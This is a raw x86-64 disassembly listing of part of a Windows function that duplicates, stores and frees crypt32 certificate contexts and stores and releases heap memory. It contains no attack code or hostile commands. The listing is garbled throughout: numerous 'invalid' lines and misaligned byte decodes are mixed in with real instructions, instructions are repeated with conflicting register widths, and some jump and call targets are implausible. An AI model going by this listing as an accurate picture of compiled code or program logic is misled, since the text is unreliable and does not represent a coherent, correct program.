invalid
movaps xmmword [rsp + 0xa90], xmm6
add byte [rbp - 0x77], cl
invalid
mov r13, r8
mov rdi, rdx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
movzx eax, byte [rdx + 0x49]
lea rcx, [0x140178a18]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x40]
mov qword [rdi + 0x50], rdx
push rax
push rax
mov qword [rdi + 0x58], rax
jmp 0x1400b371e
lea r8, [rdi + 0x330]
movzx eax, byte [rdi + 0x330]
test eax, eax
je 0x1400b38af
cmp eax, 3
jne case.default.0x1400b3705
test eax, edx
adc dword [rax], eax
invalid
adc dword [rax], eax
add byte [rbp + rcx*4 - 0x71], cl
add byte [rdx], al
add byte [rax], al
lea r9, [rdi + 0x200]
movzx eax, byte [rdi + 0x200]
lea rcx, [0x140178a2c]
add byte [rax - 0x73], cl
or eax, 0xc532e
or al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x1400b3754
mov qword [rsp + 0x58], r9
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x38], r8
and al, 0x38
jmp 0x1400b3dd2
invalid
push rdi
push rax
mov rax, qword [rdi + 0x58]
lea rcx, [rsp + 0x140]
add byte [rbp - 0x77], cl
call 0x18c23882c
mov esi, dword [rsp + 0x140]
mov r8, r13
call qword [rax + 0x18]
mov r14, qword [rsp + 0x140]
cmp r14, 3
jne case.0x140096fc6.111
mov qword [rsi], 4
mov al, 3
jmp 0x1400b419e
add byte [rax], al
add byte [rax], al
mov r12, r13
mov r13, qword [rsp + 0x148]
lodsb al, byte [rsi]
and al, 0x48
add dword [rax], eax
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x50
add dword [rax], eax
invalid
lodsb al, byte [rsi]
and al, 0x48
add dword [rax], eax
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
mov ebp, dword [rsp + 0x150]
and al, 0x50
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x158]
adc byte [rsp + 0x158], al
movaps xmmword [rsp + 0x60], xmm0
mov r15, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x58]
mov rcx, r15
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b3799
cmp qword [rbx + 0x10], 0x11
jb 0x1400b3787
cmp r14d, 2
jne 0x1400b3855
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
add al, byte [rax]
test rax, rax
je 0x1400b48c5
invalid
adc dword [rax], eax
invalid
invalid
mov r14, rax
mov qword [rax], r13
mov qword [rax + 8], rbp
movaps xmm0, xmmword [rsp + 0x60]
invalid
movups xmmword [rax + 0x10], xmm0
lea r13, str._J_v_
movabs dword [0xa74003f83480008], eax
invalid
movabs dword [0xa74003f83480008], eax
mov rcx, qword [rdi + 8]
mov ecx, dword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
stc
add eax, 0x4f8b4800
adc byte [rcx], dh
sar bh, cl
adc eax, 0x5f993
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ebp, 3
cmp qword [rdi + 0x20], 0
je 0x1400b3814
invalid
adc ecx, dword [rbx + rcx*4 + 0x47]
sub byte [rax - 0x75], cl
or eax, 0xcea54
mov r8, qword [rdi + 0x28]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rbp
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], r12
mov qword [rsi + 0x38], rbx
lea rcx, [rsi + 0x40]
lea rdx, [rsp + 0x8c0]
lea edx, [rsp + 0x8c0]
mov r8d, 0xe8
call fcn.140106530
add eax, 0xe901b000
or qword [r8], rax
or dword [rax], eax
invalid
add eax, 0xe901b000
or qword [r8], rax
or dword [rax], eax
add byte [rax + 0xf00487f], al
test byte [rdi + 8], bl
or byte [rax], al
invalid
cmp byte [rdi + 0x48], 0
je 0x1400b40be
or byte [rax], al
invalid
mov rcx, qword [rdi + 0x28]
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r13
mov dword [rdi + 0x58], ebp
mov dword [rdi + 0x58], ebp
mov qword [rdi + 0x60], rbp
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rdi + 0x68], xmm0
mov qword [rdi + 0x78], rdi
jg 0x1400b38f8
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea r8, [rdi + 0x330]
xchg dword [rax], esi
add eax, dword [rax]
add dh, al
xchg dword [rax], esi
add eax, dword [rax]
add byte [rax], al
movq xmm0, rdi
movd mm0, edi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
mov r13, r12
jmp 0x1400b38bb
movdqu xmm0, xmmword [rdi + 0x78]
mov rax, qword [rdi + 0x88]
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0xb0], rcx
mov dword [rdi + 0xb0], ecx
mov dword [rdi + 0xb0], ecx
mov rcx, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
movups xmm1, xmmword [rdi + 0x60]
movups xmmword [rdi + 0xa0], xmm1
mov qword [rdi + 0x90], rcx
mov dword [rdi + 0x90], ecx
mov qword [rdi + 0x98], rdx
movdqu xmmword [rdi + 0xb8], xmm0
invalid
invalid
add byte [rax], al
invalid
invalid
cwde
add byte [rax], al
add bl, dh
movq qword [rdi + 0xb8], mm0
invalid
invalid
add byte [rax], al
invalid
xchg dword [rax + 0x48000000], edi
mov dword [rdi + 0xc8], eax
mov qword [rdi + 0xc8], rax
lea r9, [rdi + 0x200]
mov byte [rdi + 0x200], 0
pop qword [rax]
add al, byte [rax]
add dh, al
xchg dword [rax], eax
add al, byte [rax]
add byte [rax], al
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
mov qword [rsp + 0x178], rax
add byte [rax - 0x75], cl
xchg eax, ecx
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rdi + 0xb8]
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rsp + 0x168], xmm0
mov rax, qword [rdi + 0xb0]
add byte [rax], al
mov qword [rsp + 0x160], rax
movups xmm0, xmmword [rdi + 0x90]
movups xmm1, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x150], xmm1
movaps xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x5c0], xmm2
movaps xmm3, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x5b0], xmm3
movaps xmmword [rsp + 0x5a0], xmm1
movaps xmmword [rsp + 0x590], xmm0
movups xmmword [rdi + 0x238], xmm2
movups xmmword [rdi + 0x228], xmm3
adc dword [rdi + 0x228], ebx
movups xmmword [rdi + 0x218], xmm1
movups xmmword [rdi + 0x208], xmm0
mov rax, qword [rdi + 0x208]
mov r15, qword [rdi + 0x230]
mov r12, qword [rdi + 0x238]
mov rbx, qword [rdi + 0x240]
mov qword [rdi + 0x208], 2
cmp rax, 2
je 0x1400b4870
movups xmm0, xmmword [rdi + 0x210]
movups xmm1, xmmword [rdi + 0x220]
movups xmmword [rsp + 0xa8], xmm1
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], r13
mov qword [rsp + 0xb8], r13
movabs rax, 0x8000000000000000
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x488], 0
mov qword [rsp + 0x490], 8
mov qword [rsp + 0x498], 0
movzx eax, byte [r15 + 0x1c]
movzx ecx, byte [r15 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r14d, cl
cmp al, 5
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x58], r9
jne 0x1400b3a7d
lea r13, [0x14013c848]
jmp 0x1400b3a9d
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r13, [0x14013c848]
add r13, rax
sub r14, rax
je 0x1400b3f04
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
mov edx, esi
call fcn.1400df910
test rax, rax
je 0x1400b4894
mov rbp, rax
invalid
mov rcx, rbp
mov rdx, r13
mov r8, r14
call fcn.140106530
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r14
cmp qword [r15], 0
cmp dword [rdi], 0
je 0x1400b3b31
mov rcx, qword [r15 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov rax, qword [rsp + 0x498]
cmp rax, qword [rsp + 0x488]
jne 0x1400b3b1a
lea rcx, [rsp + 0x488]
call fcn.1400eac90
mov rax, qword [rsp + 0x498]
mov rcx, qword [rsp + 0x490]
mov qword [rcx + rax*8], r14
inc rax
mov qword [rsp + 0x498], rax
lea rcx, [rsp + 0x488]
call fcn.1400cedf0
mov r14, rdx
test rax, rax
je 0x1400b3b8c
mov rax, qword [rsp + 0x4a0]
shl rax, 1
test rax, rax
jne 0x1400b3c6c
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
jne 0x1400b3c97
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
jne 0x1400b3cc3
jmp 0x1400b3cdf
movabs rax, 0x8000000000000000
mov qword [rsp + 0x3a8], rax
mov word [rsp + 0x3e8], 1
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3c0], rax
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x398], 1
mov qword [rsp + 0x3a0], rax
lea rcx, [rsp + 0x398]
mov rdx, r12
mov r8, rbx
call fcn.1400cf010
movzx eax, byte [r15 + 0x18]
mov byte [rsp + 0x3e8], al
movzx ecx, byte [r15 + 0x19]
mov byte [rsp + 0x3e9], cl
cmp byte [r15 + 0x1a], 0
je 0x1400b41c0
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b48e3
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
movabs rbx, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rdi], 0x84
clc
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rdi], 0x84
clc
add eax, 0x48f00000
dec dword [rcx]
lock dec qword [rcx]
lea r15, [0x140142c98]
je 0x1400b422b
jmp 0x1400b425e
mov r8, qword [rsp + 0x4a8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
je 0x1400b3b6e
mov r8, qword [rsp + 0x4c0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
je 0x1400b3cdf
xor r12d, r12d
mov r13, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop dword [rax]
mov rcx, qword [r15 + r12*8]
inc r12
call r13
cmp rbx, r12
jne 0x1400b3cd0
cmp qword [rsp + 0x488], 0
je 0x1400b3cfc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x90]
call fcn.1400ad770
mov r13d, 2
mov rbx, r14
lea r15, [rdi + 0x208]
mov byte [rdi + 0x201], 1
mov qword [rdi + 0xd0], r13
mov qword [rdi + 0xd8], rbx
mov qword [rdi + 0xe0], r14
movaps xmm0, xmmword [rsp + 0xc0]
movaps xmm1, xmmword [rsp + 0xd0]
movups xmmword [rdi + 0xe8], xmm0
movups xmmword [rdi + 0xf8], xmm1
mov rax, qword [rsp + 0xe0]
mov qword [rdi + 0x108], rax
mov qword [rdi + 0x110], 0
lea r12, [rdi + 0x118]
lea rdx, [rsp + 0x6f0]
mov r8d, 0xe8
mov rcx, r12
call fcn.140106530
cmp dword [rdi + 0x208], 2
je 0x1400b3da2
mov rcx, r15
call fcn.1400ad770
mov r13, qword [rdi + 0xd0]
test r13, r13
je 0x1400b3e8d
lea rdx, [rdi + 0xd8]
cmp r13, 1
jne 0x1400b3ef7
test dword [rbx], edi
add dword [rax], eax
invalid
test dword [rbx], edi
add dword [rax], eax
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov r8d, 0x128
mov rcx, r15
call fcn.140106530
mov r13, qword [rsp + 0x88]
mov rbx, qword [rdi + 0x208]
mov qword [rdi + 0x208], 2
cmp rbx, 2
je 0x1400b48a1
lea rax, [rdi + 0x210]
lea r15, [rdi + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rsp + 0x298], xmm2
movups xmmword [rsp + 0x288], xmm1
movups xmmword [rsp + 0x278], xmm0
lea rcx, [rsp + 0x2b0]
mov r8d, 0xe8
mov rdx, r15
call fcn.140106530
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x2a8], r13
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x270]
call fcn.1400b4930
cmp qword [rsp + 0x140], 0
mov rbp, qword [rsp + 0x148]
mov r14, qword [rsp + 0x150]
je 0x1400b3f11
cmp rbp, 2
jne 0x1400b40db
mov ebp, 2
jmp 0x1400b3fac
mov rbp, qword [rdi + 0xd8]
mov r14, qword [rdi + 0xe0]
mov r13, qword [rdi + 0xe8]
mov r15, qword [rdi + 0xf0]
movups xmm0, xmmword [rdi + 0xf8]
movaps xmmword [rsp + 0x100], xmm0
mov rax, qword [rdi + 0x108]
mov rbx, qword [rdi + 0x110]
lea rcx, [rsp + 0x7d8]
mov r8d, 0xe8
mov rdx, r12
mov r12, rax
call fcn.140106530
mov word [rdi + 0x200], 1
cmp rbp, 3
jne 0x1400b3ff6
jmp 0x1400b418d
mov r14, qword [rdx]
mov ebp, 2
jmp 0x1400b3feb
mov ebp, 1
xor r14d, r14d
jmp 0x1400b3aba
mov r13, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x178]
lea rdx, [rsp + 0x180]
lea rbx, [rsp + 0x5d8]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x398]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x580], xmm0
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x488]
mov r8d, 0xe8
call fcn.140106530
cmp rbp, 3
je 0x1400b4185
lea rbx, [rdi + 0x208]
movaps xmm0, xmmword [rsp + 0x580]
movaps xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x7d8]
lea rdx, [rsp + 0x488]
mov r8d, 0xe8
call fcn.140106530
cmp dword [rbx], 2
je 0x1400b3feb
mov rcx, rbx
call fcn.1400adc10
mov word [rdi + 0x200], 1
xor ebx, ebx
movaps xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x570], xmm0
lea rcx, [rsp + 0x9a8]
lea rdx, [rsp + 0x7d8]
mov r8d, 0xe8
call fcn.140106530
mov rax, qword [rsp + 0x38]
mov byte [rax], 1
cmp rbp, 2
jne 0x1400b4067
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b48d4
mov qword [rax], r14
lea r13, [0x14013dff0]
mov r14, rax
cmp qword [rdi], 0
jne 0x1400b37df
jmp 0x1400b37e9
movaps xmm0, xmmword [rsp + 0x570]
movaps xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x8c0]
lea rdx, [rsp + 0x9a8]
mov r8d, 0xe8
call fcn.140106530
cmp qword [rdi], 0
je 0x1400b40a2
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rdi + 0x20], 0
jne 0x1400b3801
jmp 0x1400b3814
mov r15, rbp
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0xf0], xmm0
mov ebp, 2
cmp qword [rdi], 0
jne 0x1400b4098
jmp 0x1400b40a2
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x178]
lea rdx, [rsp + 0x180]
lea rbx, [rsp + 0x5d8]
mov r8d, pe_nt_image_headers64
mov rcx, rbx
call fcn.140106530
movups xmm6, xmmword [rsp + 0x158]
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x398]
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call fcn.140106530
mov qword [rdi + 0x208], rbp
mov qword [rdi + 0x210], r14
movups xmmword [rdi + 0x218], xmm6
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rdi + 0x228], xmm0
mov qword [rdi + 0x238], r12
mov qword [rdi + 0x240], 0
lea rdx, [rsp + 0x3a0]
mov r8d, 0xe8
mov rcx, r15
call fcn.140106530
mov rax, qword [rsp + 0x58]
mov byte [rax], 4
mov rax, qword [rsp + 0x38]
mov byte [rax], 3
mov qword [rsi], 4
mov al, 4
mov byte [rdi + 0x49], al
mov rax, rsi
movaps xmm6, xmmword [rsp + 0xa90]
add rsp, 0xaa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [r15 + 0x1b], 0
movabs rbx, 0x8000000000000000
je 0x1400b4276
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r15, rax
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b4900
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
je 0x1400b4257
lock dec qword [rcx]
lea r15, [0x140142c68]
jne 0x1400b425e
mov rcx, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov r12, r14
mov r14, rax
call fcn.140004950
mov rax, r14
mov r14, r12
jmp 0x1400b425e
lea r15, [0x140142c98]
jmp 0x1400b425e
lea r15, [0x140142c68]
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x3e0], r15
movzx eax, byte [rsp + 0x3e8]
lea r9, [rsp + 0x3c0]
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov r12, qword [rsp + 0x3a8]
xor ecx, ecx
mov r8d, 0
add byte [rax], al
add byte [rax], al
test al, al
je 0x1400b42ca
mov r8, qword [rsp + 0x3b0]
cmp r12, rbx
cmove r8, rcx
ror dword [rax - 0x73], 0x8c
and al, 0x70
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
ror dword [rax - 0x73], 0x8c
and al, 0x70
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call case.0x1400aa7a4.218
mov r13, qword [rsp + 0x280]
and al, 0x80
add al, byte [rax]
add byte [rcx - 0x7d], cl
std
add dh, byte [rbp + 0x4c]
and al, 0x80
add al, byte [rax]
add byte [rcx - 0x7d], cl
std
add dh, byte [rbp + 0x4c]
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x140], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg rsp, rax
invalid
push rax
dec qword [r14]
dec dword [rsi]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg rsp, rax
invalid
dec dword [rsi]
jne 0x1400b465e
mov rcx, r14
call fcn.1400adf70
cmp bl, byte [rdi + rdi*8 + 0x323e9ff]
add byte [rax], al
invalid
cmp bl, byte [rdi + rdi*8 + 0x323e9ff]
add byte [rax], al
invalid
add byte [rdi], cl
sub byte [rsp + 0x270], dh
movaps xmm6, xmmword [rsp + 0x270]
mov r15d, dword [rsp + 0x288]
mov edi, dword [rsp + 0x288]
and al, 0x88
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x50
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x398], 0
mov esp, 0x39824
cwde
add eax, dword [rax]
add byte [rax], al
je 0x1400b4392
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x30], rax
mov r12, qword [rsp + 0x3a8]
cmp r12, rbx
jne 0x1400b439e
jmp 0x1400b4401
xor eax, eax
mov qword [rsp + 0x30], rax
cmp r12, rbx
cmp esp, ebx
cmp esp, ebx
je 0x1400b4390
mov r12, qword [rsp + 0x3b0]
add byte [rax], al
mov rbx, qword [rsp + 0x3b8]
test rbx, rbx
je 0x1400b43e7
invalid
xor al, 0x48
mov eax, ebx
mov rax, rbx
shr rax, 0x3e
jne 0x1400b491c
jne 0x1400b491c
add byte [rax], al
lea rbp, [rbx + rbx]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbp
mov edx, ebp
mov edx, ebp
call fcn.1400df910
test rax, rax
jne 0x1400b43ee
mov ch, 2
add byte [rax - 0x7b], cl
sal byte [rbp + 0x14], 0xb9
add al, byte [rax]
add byte [rax], al
mov ecx, 2
mov rdx, rbp
call fcn.1401082a0
mov eax, 2
xor ebp, ebp
mov qword [rsp + 0x70], rax
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r12
mov r8, rbp
mov eax, ebp
mov eax, ebp
call fcn.140106530
movzx eax, byte [rsp + 0x3e8]
movzx ecx, byte [rsp + 0x3e9]
mov dh, 0x8c
and al, 0xe9
add eax, dword [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd8
add eax, dword [rax]
add byte [rax - 0x7b], cl
test ebp, ebp
and al, 0xe8
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x8c
and al, 0xe9
add eax, dword [rax]
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd8
add eax, dword [rax]
add byte [rax - 0x7b], cl
test ebp, ebp
test ebp, ebp
je 0x1400b446f
mov rdx, qword [rsp + 0x3e0]
mov qword [rsp + 0x78], rdx
lock inc qword [rbp]
jle case.0x1400b36b6.2
add byte [rax], al
add byte [rax], al
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
je 0x1400b447c
test r15d, r15d
test edi, edi
je 0x1400b4487
movzx eax, byte [0x140182310]
add eax, 0xcdec1
xor ecx, ecx
mov rdx, r15
call fcn.1400df910
mov ah, 2
add byte [rax - 0x7b], cl
test eax, eax
mov ah, 2
add byte [rax - 0x7b], cl
test eax, eax
mov r13, qword [rsp + 0x50]
test eax, eax
mov r13, qword [rsp + 0x50]
je 0x1400b490f
add byte [rcx - 0x77], cl
invalid
mov r12, rax
mov rdx, r13
jmp 0x1400b4497
test r13, r13
mov byte [rsp + 0x2f], al
mov byte [rsp + 0x2e], cl
jne 0x1400b4443
mov r12d, 1
xor r15d, r15d
jmp 0x1400b44ab
mov edx, 1
add dword [rax], eax
add byte [rax], al
mov r12d, 1
mov r13, qword [rsp + 0x50]
push rax
push rax
mov rcx, r12
mov r8, r15
clc
call fcn.140106530
mov rcx, r13
jmp 0x130705aa8
invalid
invalid
jmp 0x130705aa8
adc eax, 0x5f065
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x24843948], al
rol byte [rbx], 0
add eax, dword [rax]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x3c0], rax
add eax, dword [rax]
invalid
je 0x1400b44f1
add eax, dword [rax]
add byte [rdx + rsi + 0x48], dh
mov rdx, qword [rsp + 0x3c8]
mov edx, dword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x140]
add dword [rax], eax
add al, ch
mov cl, 0xff
invalid
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], al
add byte [rax], al
add dword [rax], eax
add al, ch
mov cl, 0xff
invalid
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], al
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
movups xmm0, xmmword [rsp + 0x90]
adc byte [rsp + 0x90], al
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xb0], dl
movups xmmword [rsp + 0x2a0], xmm2
movups xmmword [rsp + 0x290], xmm1
adc dword [rsp + 0x290], ecx
and al, 0xa0
add al, byte [rax]
add byte [rdi], cl
adc dword [rsp + 0x290], ecx
movups xmmword [rsp + 0x280], xmm0
mov rcx, qword [rsp + 0x30]
xor byte [rax - 0x77], cl
mov word [rax + rsi*2], fs
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdi*2], fs
js 0x1400b453e
add byte [rax], al
xor byte [rax - 0x77], cl
mov word [rax + rsi*2], fs
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rdi*2], fs
js 0x1400b453e
add byte [rax], al
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2b8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
invalid
invalid
test byte [rax + rbx*8], ah
add al, byte [rax]
add byte [rcx], al
js 0x1400b453e
add byte [rax], al
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2b8], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 1
mov dword [rsp + 0x2d8], 1
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x2e0], eax
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r15
mov dword [rsp + 0x2f0], edi
mov qword [rsp + 0x2f8], r12
mov qword [rsp + 0x300], r15
mov qword [rsp + 0x308], 0
mov qword [rsp + 0x310], rbx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x318], rcx
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x330], xmm0
mov dword [rsp + 0x340], 0x10000
mov byte [rsp + 0x344], 0
mov qword [rsp + 0x358], r14
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x360], xmm6
mov qword [rsp + 0x370], rbp
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x380], 1
mov dword [rsp + 0x380], 1
mov dword [rsp + 0x380], 1
mov qword [rsp + 0x388], 0
movzx eax, byte [rsp + 0x2f]
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
and al, 0x2f
mov byte [rsp + 0x390], al
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x391], al
mov word [rsp + 0x392], 0x100
mov dword [rsp + 0x392], 0x8d480100
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
invalid
mov dword [rsp + 0x392], 0x8d480100
add byte [rax], al
add dword [rax - 0x73], ecx
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
lea edx, [rsp + 0x270]
add al, byte [rax]
add al, ch
rol byte [rdx], cl
add byte [rax], al
call fcn.1400b4930
mov rax, qword [rsp + 0x140]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x148]
mov r12, qword [rsp + 0x150]
mov qword [rsp + 0x30], rax
mov rbx, qword [rsp + 0x148]
mov r12, qword [rsp + 0x150]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400b4686
cmp rbx, 2
je 0x1400b46a1
sti
add dh, byte [rbx + rbx + 0x48]
lea edx, [rsp + 0x158]
add byte [rax], al
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x5d8]
